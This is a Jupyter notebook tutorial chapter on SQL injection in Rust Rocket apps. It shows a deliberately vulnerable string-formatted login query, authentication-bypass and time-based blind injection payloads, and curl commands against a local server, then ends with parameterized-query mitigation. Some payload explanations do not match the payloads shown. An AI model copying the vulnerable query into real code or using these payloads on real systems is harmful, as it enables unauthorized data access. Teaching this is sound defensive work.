chapter-6/chapter-6.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "65251ca9-6af1-41ba-ad59-27122db78758",
   "metadata": {},
   "source": [
    "# Chapter 6: SQL Injection in Rust\n",
    "\n",
    "## Introduction\n",
    "\n",
    "In the complex landscape of real-world [**web applications**](https://en.wikipedia.org/wiki/Web_application), a fundamental aspect involves the storage and retrieval of data from [**databases**](https://en.wikipedia.org/wiki/Database). The orchestration of this data exchange requires the construction of [**SQL (Structured Query Language)**](https://en.wikipedia.org/wiki/SQL) statements by web applications. These statements are subsequently dispatched to the associated database, where they are executed, and the outcomes are then relayed back to the web application. The crux of the matter lies in the fact that SQL statements frequently encapsulate user-provided data. If the construction of these statements is not carefully handled, a vulnerability emerges, enabling an exploit known as [**SQL Injection**](https://en.wikipedia.org/wiki/SQL_injection).\n",
    "\n",
    "[**SQL Injection**](https://owasp.org/www-community/attacks/SQL_Injection) stands as one of the most common and evil blunders within the world of web applications. SQL Injection attack involves the careful injection of malicious code into the SQL statement, thereby manipulating the behavior of the database to execute unintended commands. This tricky manipulation of the SQL query can lead to [**unauthorized access**](https://en.wikipedia.org/wiki/Computer_security), [**data exfiltration**](https://en.wikipedia.org/wiki/Data_exfiltration), or even the manipulation of [**sensitive information**](https://en.wikipedia.org/wiki/Information_sensitivity) within the database.\n",
    "\n",
    "A comprehensive understanding of how SQL injection attacks operate is important for both developers and security practitioners. By the end of this chapter, you will gain insights into the potential entry points exploited by malicious actors seeking to compromise the security of web applications. In particular, we'll dive into attacking [**Rocket**](https://rocket.rs/v0.5) web apps, showing you how vulnerabilities play out in the real world. This hands-on experience is key for understanding how these attacks work, making you more savvy about keeping your apps safe."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "f068eef0-43d7-4232-9986-e8964253d5f9",
   "metadata": {},
   "source": [
    "## Table of Contents\n",
    "\n",
    "* [**SQL Injection Overview**](#1.-SQL-Injection-Overview)\n",
    "* [**Gathering User Input**](#2.-Gathering-User-Input)\n",
    "* [**Fetching Data From the Database**](#3.-Fetching-Data-From-the-Database)\n",
    "* [**SQL Injection Exploitation**](#4.-SQL-Injection-Exploitation)\n",
    "   * [**Blind SQL Injection**](#4.1-Blind-SQL-Injection)\n",
    "* [**SQL Injection Through cURL**](#5.-SQL-Injection-Through-cURL)\n",
    "   * [**Blind Based cURL SQL Injection**](#5.1-Blind-Based-cURL-SQL-Injection)\n",
    "* [**SQL Injection Mitigation**](#6.-SQL-Injection-Mitigation)\n",
    "* [**TODO: SQL Injection In NoSQL Databases (MongoDB?)**](#)\n",
    "* [**Conclusion**](#8.-Conclusion)"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "9c84e722-40b4-4819-a7ee-7423ea4a9e2a",
   "metadata": {},
   "source": [
    "### 1. SQL Injection Overview\n",
    "\n",
    "The process begins with the generation of a SQL statement by the web application. This statement is typically constructed with user input data, a crucial point of vulnerability. When developers fail to implement adequate safeguards, attackers can exploit this weakness by injecting malicious SQL code directly into the input fields of the web application. The malicious payload becomes seamlessly integrated into the SQL statement, essentially working on the legitimate data provided by users.\n",
    "\n",
    "To illustrate, consider a scenario where a web application accepts user credentials for authentication. The SQL statement responsible for verifying these credentials might look something like this:\n",
    "\n",
    "```sql\n",
    "SELECT * FROM users WHERE username = 'username' AND password = 'password';\n",
    "```\n",
    "\n",
    "In this example, the **username** and **password** are variables representing user-provided data. However, if the web application fails to properly validate and sanitize these inputs, an attacker could input the following credentials:\n",
    "\n",
    "```sql\n",
    "' OR '1'='1'; --\n",
    "```\n",
    "\n",
    "The manipulated SQL statement now becomes:\n",
    "\n",
    "```sql\n",
    "SELECT * FROM users WHERE username = '' OR '1'='1'; --' AND password = 'password';\n",
    "```\n",
    "\n",
    "Due to the injected code, the condition '1'='1' always evaluates to true, essentially bypassing the authentication process and granting unauthorized access to the system.\n",
    "\n",
    "To secure web applications against SQL Injection attacks, you must adopt a multi-step approach. Implementing [**parameterized queries**](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html), [**input validation**](https://en.wikipedia.org/wiki/Data_sanitization), and utilizing [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) are pivotal defensive measures. Parameterized queries ensure that user-input data is treated as data rather than executable code, preventing any attempts at code injection. Input validation involves evaluating user inputs to ensure they adhere to expected formats, mitigating the risk of malformed data causing vulnerabilities. Prepared statements offer an additional layer of defense by separating SQL code from user-provided data."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "5d7f6e7c-46de-48a9-8da4-fe208548ff98",
   "metadata": {},
   "source": [
    "### 2. Gathering User Input\n",
    "\n",
    "Understanding how users interact with web applications is key to building effective and secure systems. As illustrated in the following diagram, web browsers serve as the gateway for users to input information, subsequently communicating with the web application server through HTTP requests. These requests carry user inputs, and the method of attachment varies based on whether it's a GET or POST request.\n",
    "\n",
    "```sh\n",
    "\n",
    "+----------------------+              +--------------------------+\n",
    "|   User Form Input    |              |                          |\n",
    "|   Web Browser        |              |        Web Server        |\n",
    "|                      |              |                          |\n",
    "+----------+-----------+              +--------------+-----------+\n",
    "           |                                         |\n",
    "           |       HTTP Request (GET or POST)        |\n",
    "           +---------------------------------------->|\n",
    "           |                                         |\n",
    "           |                                         |\n",
    "           |                                         V\n",
    "           |                           +-------------+----------+\n",
    "           |                           |                        |\n",
    "           |                           |    Process User Input  |\n",
    "           |                           |    and Construct HTTP  |\n",
    "           |                           |    Request             | \n",
    "           |                           |                        |\n",
    "           |                           +-------------+----------+ \n",
    "           |                                         | \n",
    "           |                                         |\n",
    "           |            HTTP Response                |\n",
    "           <-----------------------------------------+ \n",
    "```\n",
    "\n",
    "Consider a scenario where a web page contains a simple form. This form consists of input fields for the user's username and password. When users type in their information and click the Submit button, an HTTP request is triggered, encapsulating the entered data. The HTML snippet below exemplifies the form structure:\n",
    "\n",
    "```html\n",
    "<form method=\"get\">\n",
    "  <div>Username: <input type=\"text\" name=\"username\" /></div>\n",
    "  <div>Password: <input type=\"text\" name=\"password\" /></div>\n",
    "  <button type=\"submit\">Submit</button>\n",
    "</form>\n",
    "```\n",
    "\n",
    "Upon submission, the generated HTTP request URL might look like:\n",
    "\n",
    "```\n",
    "http://127.0.0.1:8000/login?username=user&password=paswd\n",
    "```\n",
    "\n",
    "Here, it's important to note that in the above example, the use of the HTTP protocol is for simplicity, and in a secure environment, HTTPS would be the preferred choice.\n",
    "\n",
    "When this request reaches the designated endpoint in the Rocket web framework (e.g., /login), the parameters are extracted from the request object. The corresponding Rust handler code could be as follows:\n",
    "\n",
    "```rust\n",
    "#[post(\"/login\", data = \"<user_data>\")]\n",
    "async fn login(mut conn: Connection<DbConn>, user_data: Form<UserData>) -> Result<String, String> {\n",
    "    let username = &user_data.username;\n",
    "    let password = &user_data.password;\n",
    "}\n",
    "\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "feae367e-4288-4f19-9627-fcb4610d2359",
   "metadata": {},
   "source": [
    "### 3. Fetching Data From the Database\n",
    "\n",
    "Web applications often need to interact with databases to retrieve or store information. In the given scenario, when a user provides their usrname and password via the form, the objective is to fetch additional data from the database if the correct password is provided.\n",
    "\n",
    "The user data is stored in an SQLite database, and the code snippet below demonstrates connecting to the database using the `sqlx` crate through [**`rocket_db_pools`**](https://api.rocket.rs/v0.5/rocket_db_pools/index.html) and executing a query:\n",
    "\n",
    "```rust\n",
    "#[macro_use]\n",
    "extern crate rocket;\n",
    "use rocket::Error;\n",
    "\n",
    "use rocket::form::Form;\n",
    "use rocket_db_pools::sqlx::{self, Row};\n",
    "use rocket_db_pools::{Connection, Database};\n",
    "\n",
    "#[derive(Database)]\n",
    "#[database(\"sqlite_db\")]\n",
    "struct DbConn(sqlx::SqlitePool);\n",
    "\n",
    "#[derive(Debug, FromForm)]\n",
    "struct UserData {\n",
    "    username: String,\n",
    "    password: String,\n",
    "}\n",
    "\n",
    "#[post(\"/login\", data = \"<user_data>\")]\n",
    "async fn login(mut conn: Connection<DbConn>, user_data: Form<UserData>) -> Result<String, String> {\n",
    "    let username = &user_data.username;\n",
    "    let password = &user_data.password;\n",
    "\n",
    "    let query_result = sqlx::query(&format!(\n",
    "        \"SELECT * FROM users WHERE username = '{}' AND password = '{}'\",\n",
    "        username, password\n",
    "    ))\n",
    "    .fetch_one(&mut **conn)\n",
    "    .await\n",
    "    .and_then(|r| {\n",
    "        let username: Result<String, _> = Ok::<String, Error>(r.get::<String, _>(0));\n",
    "        let password: Result<String, _> = Ok::<String, Error>(r.get::<String, _>(1));\n",
    "        Ok((username, password))\n",
    "    })\n",
    "    .ok();\n",
    "\n",
    "    match query_result {\n",
    "        Some((username, password)) => Ok(format!(\n",
    "            \"username: {}, password: {}\",\n",
    "            username.unwrap(),\n",
    "            password.unwrap()\n",
    "        )),\n",
    "        None => Err(\"User not found\".into()),\n",
    "    }\n",
    "}\n",
    "```\n",
    "\n",
    "This code snippet showcases the connection to an SQLite database using `sqlx`, construction of a SQL query based on user input, execution of the query, and processing of the results. It's crucial to emphasize the need to secure this endpoint, as user input becomes part of the SQL query executed by the database, underlining the importance of preventing SQL Injection vulnerabilities."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "2e10ad66-455c-4444-a3f9-1c4ad4ada705",
   "metadata": {},
   "source": [
    "### 4. SQL Injection Exploitation\n",
    "\n",
    "To comprehend the vulnerabilities associated with SQL injection attacks, let's simplify the complex interactions between the browser, web application, and database. Imagine the web application creating an SQL statement template, leaving a blank space for the user to input data. Whatever the user provides in this space becomes an integral part of the SQL statement. The critical question is whether a user can manipulate the SQL statement's meaning.\n",
    "\n",
    "```sql\n",
    "SELECT *\n",
    "FROM users\n",
    "WHERE username=' ' AND password=' '\n",
    "```\n",
    "\n",
    "The developer's intention is for users to fill in the blanks with data. However, consider the scenario where a user inputs special characters. For instance, if a user types the random string `'pass'` in the password entry and `user' --` in the username field, the SQL statement becomes:\n",
    "\n",
    "```sql\n",
    "SELECT *\n",
    "FROM users\n",
    "WHERE username= 'user' -- AND password= 'pass'\n",
    "```\n",
    "\n",
    "As everything from the `--` characters to the end of the line is treated as a comment, the SQL statement is now equivalent to:\n",
    "\n",
    "```sql\n",
    "SELECT *\n",
    "FROM users\n",
    "WHERE username= 'user'\n",
    "```\n",
    "\n",
    "By cleverly using special characters like single quotes (') and two dashes (`--`), the meaning of the SQL statement has been successfully altered. The resulting query would retrieve the all info of the user with 'user' username, even if the user is unaware of **user**'s password. This constitutes a significant security breach.\n",
    "\n",
    "Taking this a step further, let's explore the possibility of extracting all records from the database. Assuming we don't know all the usernames, we need to create a predicate for the WHERE clause that is always true for all records. Since '1=1' is always true, inputting `admin' OR 1=1` -- in the username form entry results in the following SQL statement:\n",
    "\n",
    "```sql\n",
    "SELECT *\n",
    "FROM users\n",
    "WHERE username= 'admin' OR 1=1\n",
    "```\n",
    "\n",
    "This SQL statement, when executed, retrieves all records from the database."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "10aa174d-f6c3-4c7e-8f78-bdae826de73b",
   "metadata": {
    "jp-MarkdownHeadingCollapsed": true
   },
   "source": [
    "#### 4.1 Blind SQL Injection\n",
    "\n",
    "In the database security domain, [**blind SQL injection**](https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection) poses a daunting challenge. This phenomenon occurs when attackers interact with databases without immediate access to the outcomes of their actions, a scenario often encountered in the absence of record outputs.\n",
    "\n",
    "An illustrative instance of blind SQL injection lies in the [**authentication**](https://en.wikipedia.org/wiki/Authentication) bypass, although its scope extends beyond such scenarios. The technique involves an [**inference attack**](https://en.wikipedia.org/wiki/Inference_attack), in which attackers, lacking direct visibility into the database responses, strategically attempt to leak information through logical assumptions derived from web responses.\n",
    "\n",
    "A key tactic employed in blind SQL injection is the introduction of an arbitrary time delay in the query submission. This strategic delay serves as an initiation test for an application's vulnerability to SQL injection. By inspecting the application's response time, an attacker can recognise potential vulnerabilities.\n",
    "\n",
    "```sh\n",
    "        +-----------------+\n",
    "        |    Introduce    |\n",
    "        |    Time Delay   |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Check App for   |\n",
    "        | Vulnerability   |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Assess with     |\n",
    "        | Boolean Checks  |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Use Time-Based  |\n",
    "        | SQL Injection   |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Analyze App     |\n",
    "        | Delayed Response|\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Combine Time &  |\n",
    "        | Boolean Tactics |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Inject More     |\n",
    "        | Queries if Able |\n",
    "        +--------+--------+\n",
    "                 |\n",
    "                 v\n",
    "        +-----------------+\n",
    "        | Exploit         |\n",
    "        | Vulnerabilities |\n",
    "        +-----------------+\n",
    "```\n",
    "\n",
    "Further complexities come from boolean-based blind injection, where attackers manipulate statements that could be true or false. By observing variations in the application's responses to injected statements, attackers can deduce the presence of vulnerabilities and subsequently manipulate the database.\n",
    "\n",
    "Time-based SQL injection introduces an additional layer of sophistication. In instances where true and false results lack detectable differences, attackers leverage functions such as [`sqlite3_sleep`](https://www.sqlite.org/c3ref/sleep.html) to artificially delay query execution. This method introduces a temporal element, where, for example, the application may pause for a specified duration before responding.\n",
    "\n",
    "Databases have different functionalities in this context. SQLITE does not have a native `SLEEP` function like some other database management systems (e.g. MYSQL). However, you can achieve a similar delay using a combination of the `SELECT` statement and the `sqlite3_sleep` extension function. Let's create a sleep-like delay in SQLite:\n",
    "\n",
    "```sql\n",
    "SELECT sqlite3_sleep(3000);\n",
    "```\n",
    "\n",
    "In this example, `sqlite3_sleep(3000)` pauses the execution for 3000 milliseconds, which is equivalent to 3 seconds. The combination of time delays and Boolean queries becomes a powerful strategy, where an attacker may construct queries like:\n",
    "\n",
    "```sql\n",
    "SELECT IF substring(field,1,1)='val' sqlite3_sleep(3000);\n",
    "```\n",
    "\n",
    "relying on the delay gap in responses as a critical signal. An additional tactic, known as **splitting and balancing**, involves crafting functionally identical queries that appear different. This technique allows attackers to inject additional queries while maintaining the integrity of parentheses and quotes, thereby generating legitimate SQL queries. Imagine a scenario where an attacker seeks to manipulate a database through the following safe-looking query:\n",
    "\n",
    "```sql\n",
    "SELECT username FROM users WHERE id = 1\n",
    "```\n",
    "\n",
    "Now, the attacker wants to inject additional queries carefully while ensuring the overall query remains syntactically valid. The following is an example of how they might utilize the **splitting and balancing** technique:\n",
    "\n",
    "```sql\n",
    "-- Original Query\n",
    "SELECT username FROM users WHERE id = 1\n",
    "\n",
    "-- Functionally Identical Query (Different Appearance)\n",
    "SELECT username FROM users WHERE id = 2-1\n",
    "```\n",
    "\n",
    "In this example, the second query appears different due to the arithmetic operation (`2-1`), but it is functionally identical to the original query. The attacker has injected their manipulation by maintaining the balance of parentheses and quotes. This ensures that the injected query, though seemingly different, aligns with the expected SQL syntax, thereby allowing the attacker to introduce additional queries without triggering syntax errors.\n",
    "\n",
    "Now, the magic happens when the attacker exploits this technique to introduce more complexity:\n",
    "\n",
    "```sql\n",
    "-- Original Query\n",
    "SELECT username FROM users WHERE id = 1\n",
    "\n",
    "-- Functionally Identical Query with a Nested Sub-Query (Disguised)\n",
    "SELECT username FROM users WHERE id = 1 + (SELECT password FROM users WHERE user_id = 1)\n",
    "```\n",
    "\n",
    "Here, the appearance of the query hides the true nature of the injected query. The attacker can now insert nested sub-queries between parentheses, orchestrating a series of operations while keeping the obvious appearance consistent with legitimate SQL syntax."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "fadc09fc-a39d-4410-b1e3-fe0b6b0bbc39",
   "metadata": {},
   "source": [
    "### 5. SQL Injection Through cURL\n",
    "\n",
    "In the previous section, we have explored sql injection using forms. However, it's often more convenient to utilize a command-line tool for automation. [**cURL**](https://curl.se/) is a widely-known command-line utility for sending data over various network protocols, including HTTP and HTTPS. Using cURL, we can send a form from the command line rather than a web page. Consider the following example:\n",
    "\n",
    "```sh\n",
    "$ curl -X POST \\\n",
    "       -H \"Content-Type: application/x-www-form-urlencoded\" \\\n",
    "       -d \"username=admin' OR '1'='1' --&password=your_password\" \\\n",
    "       http://127.0.0.1:8000/login\n",
    "```\n",
    "\n",
    "This command successfully retrieves records from the database, illustrating the potential impact of SQL injection attacks when exploiting vulnerabilities in user input handling.\n",
    "\n",
    "\n",
    "```sh\n",
    "+----------------------+                 +------------------------+\n",
    "|                      |                 |                        |\n",
    "|     User (cURL)      |                 |   Web Server (Rocket)  |\n",
    "|                      |                 |                        |\n",
    "+----------------------+                 +------------------------+\n",
    "           |                                          |\n",
    "           |                                          |\n",
    "           V                                          |\n",
    "+----------------------+                              |\n",
    "|                      |                              |\n",
    "|        Input         |                              |\n",
    "|                      |                              |\n",
    "+----------------------+                              |\n",
    "           |                                          |\n",
    "           |                             +-------------------------+\n",
    "           |                             |   Handling User Input   |\n",
    "           |                             |   and Constructing SQL  |\n",
    "           +---------------------------->|     Statement           |\n",
    "                                         |                         |\n",
    "                                         +-------------------------+\n",
    "                                                      |\n",
    "                                                      V\n",
    "                                          +------------------------+\n",
    "                                          |     SQL Statement      |\n",
    "                                          |     with Malicious     |\n",
    "                                          |     User Input         |\n",
    "                                          +------------------------+\n",
    "                                                      |\n",
    "                                                      V\n",
    "                                          +------------------------+\n",
    "                                          |   Authentication Check | \n",
    "                                          |   and User Validation  | \n",
    "                                          +------------------------+ \n",
    "                                                      |\n",
    "+------------------------+                            |\n",
    "|       Response         |                            |\n",
    "|     (All Records)      |<---------------------------+                           \n",
    "+------------------------+\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "412032d4-5cde-473f-ac6b-40f78f49aa8f",
   "metadata": {},
   "source": [
    "#### 5.1 Blind Based cURL SQL Injection\n",
    "\n",
    "As you learned from the previous sections, in SQLite, time-based SQL injection can be trickier because SQLite does not have a built-in `SLEEP` function like other database management systems. However, you can leverage certain functions or tasks that take time to execute. Here's an example using SQLite:\n",
    "\n",
    "```bash\n",
    "$ curl -X POST \\\n",
    "     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n",
    "     --data-urlencode \"username=admin' AND SELECT sqlite3_sleep(3000) --\" \\\n",
    "     --data-urlencode \"password=pass\" \\\n",
    "     http://127.0.0.1:8000/login\n",
    "```\n",
    "\n",
    "In this example, the payload includes a subquery using `sqlite3_sleep(3000)` within a `CASE` statement. If the condition `(1=1)` is true, it will execute the sleep function, causing a delay. If false, it performs `0`. The `--` at the end is used to comment out the remainder of the query.\n",
    "\n",
    "Now, let's consider a basic example of using cURL for a time-based SQL injection with the splitting and balancing technique:\n",
    "\n",
    "```bash\n",
    "$ curl -X POST \\\n",
    "     -H \"Content-Type: application/x-www-form-urlencoded\" \\\n",
    "     --data-urlencode \"username=admin' AND (SELECT 1 FROM users WHERE username = 'admin') = 1 --\" \\\n",
    "     --data-urlencode \"password=pass\" \\\n",
    "     http://127.0.0.1:8000/login\n",
    "```\n",
    "\n",
    "In this example, the payload attempts to check if the username is `'admin'`. If it is, the condition `(SELECT 1 FROM users WHERE username = 'admin') = 1` becomes true, and the authentication should proceed. If not, it becomes false."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "id": "11ce5a80-24d3-41f8-afca-e74007d4b7fc",
   "metadata": {},
   "outputs": [],
   "source": [
    "use std::process::{Command, Output, Stdio};\n",
    "\n",
    "// A helper function to execute a shell command from a Rust script\n",
    "fn execute_command(command: &str) -> Result<(), std::io::Error> {\n",
    "    let status = Command::new(\"bash\")\n",
    "        .arg(\"-c\")\n",
    "        .arg(command)\n",
    "        .stderr(Stdio::inherit())\n",
    "        .status()?;\n",
    "\n",
    "    if status.success() {\n",
    "        Ok(())\n",
    "    } else {\n",
    "        Err(std::io::Error::from_raw_os_error(status.code().unwrap_or(1)))\n",
    "    }\n",
    "}"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "a2d60a18-8181-42ab-ae1d-573d08ab7798",
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "    Finished dev [unoptimized + debuginfo] target(s) in 0.13s\n",
      "     Running `target/debug/sql-injection`\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Configured for debug.\n",
      "   >> address: 127.0.0.1\n",
      "   >> port: 8000\n",
      "   >> workers: 8\n",
      "   >> max blocking threads: 512\n",
      "   >> ident: Rocket\n",
      "   >> IP header: X-Real-IP\n",
      "   >> limits: bytes = 8KiB, data-form = 2MiB, file = 1MiB, form = 32KiB, json = 1MiB, msgpack = 1MiB, string = 8KiB\n",
      "   >> temp dir: /tmp\n",
      "   >> http/2: true\n",
      "   >> keep-alive: 5s\n",
      "   >> tls: disabled\n",
      "   >> shutdown: ctrlc = true, force = true, signals = [SIGTERM], grace = 2s, mercy = 3s\n",
      "   >> log level: normal\n",
      "   >> cli colors: true\n",
      "Routes:\n",
      "   >> (login) POST /login\n",
      "   >> (register) POST /register\n",
      "Fairings:\n",
      "   >> 'sqlite_db' Database Pool (ignite, shutdown)\n",
      "   >> Shield (liftoff, response, singleton)\n",
      "Shield:\n",
      "   >> X-Content-Type-Options: nosniff\n",
      "   >> X-Frame-Options: SAMEORIGIN\n",
      "   >> Permissions-Policy: interest-cohort=()\n",
      "Rocket has launched from http://127.0.0.1:8000\n",
      "POST /login application/x-www-form-urlencoded:\n",
      "   >> Matched: (login) POST /login\n",
      "   >> Outcome: Success(200 OK)\n",
      "   >> Response succeeded.\n",
      "POST /login application/x-www-form-urlencoded:\n",
      "   >> Matched: (login) POST /login\n",
      "   >> Outcome: Success(200 OK)\n",
      "   >> Response succeeded.\n"
     ]
    }
   ],
   "source": [
    "let command = \"cd sql-injection && cargo run\";\n",
    "\n",
    "if let Err(err) = execute_command(command) {\n",
    "    eprintln!(\"Error executing command: {}\", err);\n",
    "}\n",
    "\n",
    "// In a separate terminal, execute the following cURL command:\n",
    "\n",
    "// curl -X POST \\\n",
    "//        -H \"Content-Type: application/x-www-form-urlencoded\" \\\n",
    "//        -d \"username=admin' OR '1'='1' --&password=your_password\" \\\n",
    "//        http://127.0.0.1:8000/login\n",
    "\n",
    "// You will get the username and password for the first user in the database:\n",
    "// username: mahmoud, password: pass"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "06cc2541-f20d-4abf-950a-97b1c5b6ce99",
   "metadata": {},
   "source": [
    "### 6. SQL Injection Mitigation\n",
    "\n",
    "To mitigate SQL injection vulnerabilities, it's highly recommended to use parameterized queries or [**prepared statements**](https://en.wikipedia.org/wiki/Prepared_statement) provided by the SQL library you are using (in this case, `sqlx`). Parameterized queries ensure that user inputs are treated as data rather than executable code, thus preventing SQL injection attacks. Let's explore the following example of how you might use parameterized queries with `sqlx`:\n",
    "\n",
    "```rust\n",
    "let query_result = sqlx::query(\n",
    "    \"SELECT * FROM users WHERE username = ? AND password = ?\",\n",
    ")\n",
    ".bind(username)\n",
    ".bind(password);\n",
    "```\n",
    "\n",
    "This way, the SQL library will handle the proper escaping and quoting of user inputs, making it resistant to SQL injection attacks. Always prioritize using parameterized queries or prepared statements to enhance the security of your application."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "db14711c-e3c9-4acc-8568-101c3839c0ed",
   "metadata": {},
   "source": [
    "Having explored SQL injection within the context of the SQLite database, you may wonder whether this vulnerability extends to NoSQL databases. Contrary to the implications of the nomenclature, a subsequent exploration of NoSQL databases reveals a nuanced landscape, challenging the idea of straightforwardly refuting the assumption."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "414ca660-98d4-4105-bede-d01525718615",
   "metadata": {},
   "source": [
    "### TODO: 7. SQL Injection In NoSQL Databases (MongoDB?)"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "adc4f0bc-d120-4c90-84f0-e5c2e446cc3f",
   "metadata": {},
   "source": [
    "### 8. Conclusion\n",
    "\n",
    "In conclusion, the danger of SQL Injection takes large shape over web applications, demanding a proactive and careful approach to security. By understanding the mechanics of SQL injection attacks and implementing robust defensive strategies, you can safeguard your applications from the bad exploits that threaten the integrity of databases and the confidentiality of sensitive information."
   ]
  },
  {
   "cell_type": "markdown",
   "id": "3cc240e1-7644-4138-bcd3-edc4796901ff",
   "metadata": {},
   "source": [
    "---\n",
    "---"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Rust",
   "language": "rust",
   "name": "rust"
  },
  "language_info": {
   "codemirror_mode": "rust",
   "file_extension": ".rs",
   "mimetype": "text/rust",
   "name": "Rust",
   "pygment_lexer": "rust",
   "version": ""
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}